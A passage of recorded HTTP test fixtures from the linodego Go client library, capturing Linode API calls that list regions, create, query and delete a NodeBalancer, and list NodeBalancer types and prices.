Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerStats_Get.yaml000066400000000000000000000622731474652371000324550ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 15:10:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":640498}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 768104, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-106.ip.linodeusercontent.com", "ipv4": "172.232.86.106", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 15:10:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/768104/stats method: GET response: body: '{"errors": [{"reason": "Stats are unavailable at this time."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "63" Content-Type: - application/json Expires: - Mon, 08 Jul 2024 15:11:07 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "50" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/768104 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 15:11:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerType_List.yaml000066400000000000000000000034741474652371000324720ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/types?page=1 method: GET response: body: '{"data": [{"id": "nodebalancer", "label": "NodeBalancer", "price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}], "transfer": 0}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "279" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 04 Sep 2024 17:52:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancer_Create.yaml000066400000000000000000000600411474652371000321110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", 